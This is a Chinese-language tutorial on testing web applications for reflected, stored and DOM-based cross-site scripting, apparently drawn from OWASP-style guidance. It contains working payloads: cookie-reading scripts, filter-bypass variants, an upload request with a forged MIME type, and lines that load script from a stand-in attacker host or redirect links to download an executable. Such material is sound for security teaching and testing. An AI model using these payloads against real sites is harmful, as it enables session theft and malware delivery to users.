反射型xss
1、检测输入向量,确定所有web应用程序的用户定义变量以及如何输入他们,包括显而易见的、http参数、post数据、隐藏的表单字段值等。
2、分析每个输入向量并注入payload以检测潜在的漏洞。
3、分析结果并确定是否存在具有实际影响的漏洞。
没有任何防御的情况下
直接访问即会弹窗
http://example.com/index.php?user=<script>alert(123)</script>下面这段代码会导致用户单击测试人员提供的链接,即葱他控制的站点下载文件test.exe。
http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/test.exe"; }</script>标记属性值
有些情况下可以不使用
<script>标签的情况下执行xss漏洞利用,甚至不使用通常过滤的 <> 和 / 等字符。例如,Web应用程序可以使用用户输入值来填充属性,如以下代码所示:
<input type="text" name="state" value="INPUT_FROM_USER">然后攻击者可以提交以下代码:
" onfocus="alert(document.cookie)不同的语法或编码
通常可以使用这种方法来绕过一些过滤器
代码示例:
"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
绕过非递归过滤器
有时,过滤器只清理一次,而不是递归执行
<scr<script>ipt>alert(document.cookie)</script>包含外部脚本
现在假设目标站点的开发人员实现了以下代码来保护输入不包含外部脚本:
<?
$re = "/<script[^>]+src/i";
if (preg_match($re, $_GET['var']))
{
echo "Filtered";
return;
}
echo "Welcome ".$_GET['var']." !";
?>
这种方案中,有一个正则表达式检测是否在 <script 和 > 之间插入了除 src 之外的任何其他内容。这对
<script src="http://attacker/xss.js"></script>
这种表达式特别有效。
但是可以使用以下方式绕过:
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
- HTTP参数污染(HPP)
这种规避技术包括在具有相同名称的多个参数之间拆分攻击向量。对每个参数值的操纵取决于每个web技术如何解析这些参数,因此这种规避不是总是可行的。
定向攻击代码:
http://example/page.php?param=<script>[...]</script>
使用HPP攻击:
http://example/page.php?param=<script¶m=>[...]</¶m=script>
- 通常使用burp的主动扫描,即可检测出大部分情况下的反射型xss,而存储型xss目前还没有比较好的检测方法。
存储型xss
输入表格
存储型xss能不能成功主要取决于能不能规避过滤器。
上传文件
如果web应用程序允许文件上传,那么检查是否可以上载html内容就很重要。如果允许html或者txt文件,则可以在上载的文件中注入xss有效载荷。还应该验证文件上载是否允许设置任意MIME类型。
考虑以下用于文件上传的 HTTP POST 请求:
POST /fileupload.aspx HTTP/1.1 […]
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain
test这种设计缺陷可以在浏览器 MIME 错误处理攻击中利用。例如,像jpg、gif这样的文件可以包含在浏览器加载时执行xss的有效载荷。当images、gif这样的图像的MIME类型可以设置为text/html时,这是可能的。这种情况下,客户端浏览器将文件视为HTML。
HTTP POST 请求伪造:
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif" Content-Type: text/html
<script>alert(document.cookie)</script>测试应用程序如何处理用户输入
可以执行以下步骤:
- 使用前端应用程序并输入带有特殊/无效字符的输入
- 分析应用程序响应
- 确定输入验证控件存在
- 访问后端系统并检查输入是否存储以及如何存储
- 分析源代码并了解应用程序如何呈现存储的输入
如果源码可用,则应分析输入表单中使用的所有变量,特别是PHP、ASP和JSP等编程语言使用预定义的变量/函数来存储来自HTTP GET和POST请求的输入。
下表总结了在分析源代码时要查看的一些特殊变量和函数:
语言 PHP ASP JSP 变量函数 $_GET —— HTTP GET变量 Request.QueryString —— HTTP GET doGet, doPost servlets —— HTTP GET 和 POST $_POST—— HTTP POST变量 Request.Form —— HTTP POST request.getParameter —— HTTP GET/POST 变量 $_REQUEST —— HTTP POST, GET 和 COOKIE变量 Server.CreateObject —— 用来上传文件 $_FILES —— HTTP文件上传变量
DOM型xss
- 举个例子:
假如我们访问一个页面: http://www.example.com/welcome.html
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>
此页面将用于欢迎用户,例如:
http://www.example.com/welcome.html?name=lonelyor
但是请求如下:
http://www.example.com/welcome.html?name=<script>alert(document.cookie)</script>
这样会触发dom型xss的条件。让我们看看为什么:
当受害者的浏览器像 www.example.con 发送http请求,并接受上述(静态)html页面。然后受害者的浏览器会开始将html解析为dom,dom包含一个名为 document 的对象,该对象包含一个名为 URL 的属性,并且此属性使用当前页面的 URL 填充来作为 dom 创建的一部分。当解析器达到javascript代码时,它会执行
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
并修改页面的原始html。这种情况下,代码引用 document.URL,因此,此name字符串的一部分将嵌入在html中并立即解析,这时会在同一页面执行 <script>alert(document.cookie)</script>,因此是xss条件。
注意
- 恶意代码在任何时候都没有嵌入到原始html页面中(这与反射和存储型不同)
- 此漏洞仅在浏览器不修改url字符时才有效。当url不直接在地址栏中输入时,火狐会自动编码 document.url 中的 <和>(分别为 %3C 和 %3E ),因此火狐不易收到攻击。IE6.0因为不编码这些所以容易被攻击。当然,直接嵌入HTML只是一个攻击挂载点,有各种场景不需要<和>,因此Mozilla通常不能免受此攻击。
规避服务器检测
显然上面的方法还是把payload发送到了服务器,这样后端还是可以检测到,不过,我们可以规避这种检测。
新的payload如下:
http://www.example.com/welcome.html#name=<script>alert(document.cookie)</script>注意文件后面的数学符号(#),他告诉浏览器,#后面的内容都是片段,即不是查询的一部分,火狐和IE6.0不会将片段发送到服务器,因此服务器将看到相当于
http://www.example.com/welcome.html,所以服务器不会看到有效载荷。
